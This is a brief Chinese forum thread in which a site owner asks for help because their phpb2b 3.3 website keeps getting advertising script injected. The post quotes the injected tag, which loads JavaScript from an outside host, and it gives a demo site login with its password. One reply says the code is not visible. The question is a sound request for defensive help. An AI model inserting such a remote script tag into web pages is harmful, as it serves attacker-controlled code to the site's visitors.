新人报道，同时求教一个高难、普遍技术问题 技术, 新人, 高难, 求教

phpb2b

本人有一款开源的b2b软件phpb2b3.3，但是老是被注入广告代码，搜了很多资料也不能找到对方是如何注入，如何进入网站，如何找到漏洞的，特在这里请教各位大侠高手们，能否帮忙。
注入代码：
<script language="javascript" src="http://12p.officea.ze.tc/office.js?google_ad_format=728x90_as"></script>
有的广告代码还有更加隐藏的。被注入后网站有时候甚至无法访问。
网站可以参考：http://demo.phpb2b.com/cn/
登录帐号：atest 密码：123456

柔肠寸断

没有看到呀，在哪里呀